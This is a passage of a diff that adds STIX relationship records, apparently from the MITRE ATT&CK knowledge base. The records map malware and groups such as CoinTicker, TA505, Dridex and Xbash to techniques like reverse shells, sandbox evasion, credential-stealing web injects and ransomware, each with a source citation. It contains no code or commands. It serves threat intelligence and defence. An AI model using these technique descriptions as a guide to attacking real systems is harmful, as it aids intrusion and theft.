"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) creates user launch agents named .espl.plist and com.apple.[random string].plist to establish persistence.", + "type": "relationship", + "created": "2019-04-23T18:41:37.127Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a26b8116-cd88-4f21-9e7c-22a197086973", + "external_references": [ + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "modified": "2019-04-29T21:19:35.002Z", + "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "relationship_type": "uses", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) used images embedded into document lures that only activate the payload when a user double clicks to avoid sandboxes.", + "type": "relationship", + "created": "2019-04-23T19:34:17.173Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6aaf2c92-43a3-42f5-81ab-220c854607b0", + "external_references": [ + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ], + "modified": "2019-06-30T23:13:18.574Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:26:38.021Z", + "type": "relationship", + "id": "relationship--5483c96e-ac0f-4890-b002-7a5c02a8b097", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-04-23T20:33:09.435Z", + "source_ref": "course-of-action--83130e62-bca6-4a81-bd4b-8e233bd49db6", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) executes a bash script to establish a reverse shell.", + "type": "relationship", + "created": "2019-04-23T20:46:57.154Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c3e64d41-3fa0-459f-be6f-a39860e4c05c", + "external_references": [ + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "modified": "2019-04-29T21:19:35.015Z", + "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) executes a Python script to download its second stage.", + "type": "relationship", + "created": "2019-04-23T20:46:57.173Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9a5f9534-a2a4-402e-89bd-d014c2fba224", + "external_references": [ + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "modified": "2019-04-29T21:19:35.027Z", + "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) decodes the initially-downloaded hidden encoded file using OpenSSL.", + "type": "relationship", + "created": "2019-04-23T20:46:57.182Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a6944696-304c-4813-8285-56275e926f9f", + "external_references": [ + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "modified": "2019-04-29T21:19:35.026Z", + "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) checks for virtualization software.", + "type": "relationship", + "created": "2019-04-23T21:19:10.608Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5edc2d20-2e9a-4587-9656-dfe38eb1d66d", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "modified": "2019-05-14T17:10:22.006Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "relationship_type": "uses", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some versions of [CozyCar](https://attack.mitre.org/software/S0046) will check to ensure it is not being executed inside a virtual machine or a known malware analysis sandbox environment. If it detects that it is, it will exit.", + "type": "relationship", + "created": "2019-04-24T13:32:25.647Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8f88490e-346b-4462-b077-0211707c21a3", + "external_references": [ + { + "source_name": "F-Secure CozyDuke", + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "modified": "2019-04-24T23:17:25.197Z", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "relationship_type": "uses", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) checks for sandboxing libraries.", + "type": "relationship", + "created": "2019-04-24T13:44:02.099Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8bbe5f67-f65e-4982-8897-7f7466fc0845", + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "modified": "2019-07-26T22:56:58.567Z", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "relationship_type": "uses", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) obtains a list of running processes through WMI querying.", + "type": "relationship", + "created": "2019-04-24T15:26:03.558Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f1eaa7b9-4320-4549-aaa5-f992aad3ae1e", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.558Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SynAck](https://attack.mitre.org/software/S0242) checks its directory location in an attempt to avoid launching in a sandbox.", + "type": "relationship", + "created": "2019-04-24T15:28:53.430Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--36b27959-d265-4fb6-b33b-3a1e74d43206", + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + }, + { + "source_name": "Kaspersky Lab SynAck May 2018", + "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.", + "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging" + } + ], + "modified": "2019-07-26T23:00:57.662Z", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "relationship_type": "uses", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used cmd.exe for execution. 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Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:38.951Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:34:09.703Z", + "type": "relationship", + "id": "relationship--85b3c5f7-71ff-4b1d-81e9-62bd75afe7ea", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-04-24T16:57:19.497Z", + "source_ref": "course-of-action--2108b914-eee1-45cc-8840-36272b19596a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:35:48.684Z", + "type": "relationship", + "id": "relationship--50818065-cda9-4fe5-ae74-983bb3e436ba", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-04-24T16:59:33.716Z", + "source_ref": "course-of-action--46acc565-11aa-40ba-b629-33ba0ab9b07b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:42:52.305Z", + "type": "relationship", + "id": "relationship--6b392dbc-1f55-4eeb-90b5-3f980a01f11d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-04-24T17:01:10.541Z", + "source_ref": "course-of-action--417fed8c-bd76-48b5-90a2-a88882a95241", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:02:27.183Z", + "type": "relationship", + "id": "relationship--22d83351-fd06-4731-afcd-d10127bbd4d3", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-04-24T17:02:25.149Z", + "source_ref": "course-of-action--e9362d25-4427-446b-99e8-b8f0c3b86615", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:29:00.042Z", + "type": "relationship", + "id": "relationship--a4ba7046-2937-4c08-a479-3dd59deba534", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-04-24T17:03:39.751Z", + "source_ref": "course-of-action--245075bc-f992-4d89-af8c-834c53d403f4", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can be used to establish persistence using a systemd service.", + "type": "relationship", + "created": "2019-04-24T17:51:44.833Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ce40b389-c817-4c4a-b19b-ccc1c37e4f99", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. 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MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. 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Retrieved May 28, 2019.", + "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/" + } + ], + "modified": "2019-06-24T19:11:41.438Z", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "relationship_type": "uses", + "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has leveraged rundll32.exe to execute malicious DLLs.", + "type": "relationship", + "created": "2019-05-29T13:02:31.636Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--841acdc1-42c3-4f7d-9840-c9e4057bc2ab", + "external_references": [ + { + "source_name": "Cybereason TA505 April 2019", + "description": "Salem, E. (2019, April 25). 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ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "modified": "2019-06-07T20:33:39.614Z", + "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "relationship_type": "uses", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ServHelper](https://attack.mitre.org/software/S0382) may set up a reverse SSH tunnel to give the attacker access to services running on the victim, such as RDP.", + "type": "relationship", + "created": "2019-05-29T14:17:51.281Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--35bfe5a4-84ca-4601-82d8-073b1e384115", + "external_references": [ + { + "source_name": "Proofpoint TA505 Jan 2019", + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. 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New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.", + "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/" + } + ], + "modified": "2019-06-07T20:33:39.616Z", + "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ServHelper](https://attack.mitre.org/software/S0382) contains modules that will use [schtasks](https://attack.mitre.org/software/S0111) to carry out malicious operations.", + "type": "relationship", + "created": "2019-05-29T14:32:01.701Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d535f0e8-dc89-448c-828d-7464767a51a3", + "external_references": [ + { + "source_name": "Proofpoint TA505 Jan 2019", + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "modified": "2019-06-07T20:33:39.619Z", + "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-24T19:11:41.540Z", + "type": "relationship", + "created": "2019-05-29T14:33:43.929Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--60026624-0ae9-439a-8ee8-faee7ce6ddf0", + "external_references": [ + { + "source_name": "Proofpoint TA505 Jan 2019", + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "relationship_type": "uses", + "target_ref": "malware--43155329-3edf-47a6-9a14-7dac899b01e4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FlawedGrace](https://attack.mitre.org/software/S0383) uses a custom binary protocol for its C2 communications.", + "type": "relationship", + "created": "2019-05-29T14:48:20.998Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a09f7595-1281-4333-ac19-22c41da8c82d", + "external_references": [ + { + "source_name": "Proofpoint TA505 Jan 2019", + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "modified": "2019-06-07T18:47:42.478Z", + "source_ref": "malware--43155329-3edf-47a6-9a14-7dac899b01e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FlawedGrace](https://attack.mitre.org/software/S0383) encrypts its C2 configuration files with AES in CBC mode.", + "type": "relationship", + "created": "2019-05-29T14:48:21.010Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--67dbfc12-982f-4d14-a3d7-efa45644ecf3", + "external_references": [ + { + "source_name": "Proofpoint TA505 Jan 2019", + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "modified": "2019-06-07T18:47:42.491Z", + "source_ref": "malware--43155329-3edf-47a6-9a14-7dac899b01e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TA505](https://attack.mitre.org/groups/G0092) has downloaded additional malware to execute on victim systems.", + "type": "relationship", + "created": "2019-05-30T16:43:10.132Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b3436a7d-81cf-4f79-9c74-e3b2370288d2", + "external_references": [ + { + "source_name": "Cybereason TA505 April 2019", + "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.", + "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware" + }, + { + "source_name": "Deep Instinct TA505 Apr 2019", + "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.", + "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/" + }, + { + "source_name": "ProofPoint SettingContent-ms July 2018", + "description": "Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat" + } + ], + "modified": "2019-06-24T19:11:41.450Z", + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) enumerates the privilege level of the victim during the initial infection.", + "type": "relationship", + "created": "2019-05-30T17:23:30.514Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f54cba45-e641-49e0-b015-b5f6f8a05002", + "external_references": [ + { + "source_name": "Proofpoint TA505 Mar 2018", + "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware" + } + ], + "modified": "2019-05-30T17:23:30.514Z", + "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-24T19:11:41.546Z", + "type": "relationship", + "created": "2019-05-30T19:49:35.757Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1e7f0283-1aeb-4b9e-81e0-4aec48e30228", + "external_references": [ + { + "source_name": "Proofpoint TA505 Sep 2017", + "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter" + }, + { + "source_name": "Proofpoint TA505 June 2018", + "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times" + } + ], + "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", + "relationship_type": "uses", + "target_ref": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dridex](https://attack.mitre.org/software/S0384) contains a backconnect module for tunneling network traffic through a victim's computer. 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Retrieved May 31, 2019.", + "url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation" + } + ], + "modified": "2019-05-31T15:35:30.919Z", + "source_ref": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dridex](https://attack.mitre.org/software/S0384) can perform browser attacks via web injects to steal information such as credentials, certificates, and cookies.", + "type": "relationship", + "created": "2019-05-31T14:15:06.363Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3f3fffec-6c91-45e2-8c4c-d1c7bdcde76b", + "external_references": [ + { + "source_name": "Dell Dridex Oct 2015", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.", + "url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation" + } + ], + "modified": "2019-05-31T15:35:30.946Z", + "source_ref": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19", + "relationship_type": "uses", + "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dridex](https://attack.mitre.org/software/S0384) contains a module for VNC.", + "type": "relationship", + "created": "2019-05-31T14:15:06.379Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--11d5cf7f-7b0c-49b3-b8d0-9906f440d2d0", + "external_references": [ + { + "source_name": "Dell Dridex Oct 2015", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. 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Retrieved May 31, 2019.", + "url": "https://securelist.com/dridex-a-history-of-evolution/78531/" + } + ], + "modified": "2019-05-31T15:35:30.959Z", + "source_ref": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dridex](https://attack.mitre.org/software/S0384) has used HTTPS for C2 communications.", + "type": "relationship", + "created": "2019-05-31T14:20:13.647Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--43286c59-80a4-40d3-9aaa-ff7e6f321871", + "external_references": [ + { + "source_name": "Kaspersky Dridex May 2017", + "description": "Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019.", + "url": "https://securelist.com/dridex-a-history-of-evolution/78531/" + } + ], + "modified": "2019-05-31T15:35:30.968Z", + "source_ref": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Xbash](https://attack.mitre.org/software/S0341) has maliciously encrypted victim's database systems and demanded a cryptocurrency ransom be paid.", + "type": "relationship", + "created": "2019-06-04T13:43:04.479Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--98ccbadd-dbfa-44d3-b3f2-3a55c8fa37e1", + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "modified": "2019-06-28T15:15:54.579Z", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Xbash](https://attack.mitre.org/software/S0341) has destroyed Linux-based databases as part of its ransomware capabilities.\t", + "type": "relationship", + "created": "2019-06-04T13:43:04.496Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1c8208ad-b295-4e39-a928-40fc49f68fb4", + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "modified": "2019-06-28T15:15:54.581Z", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "relationship_type": "uses", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": 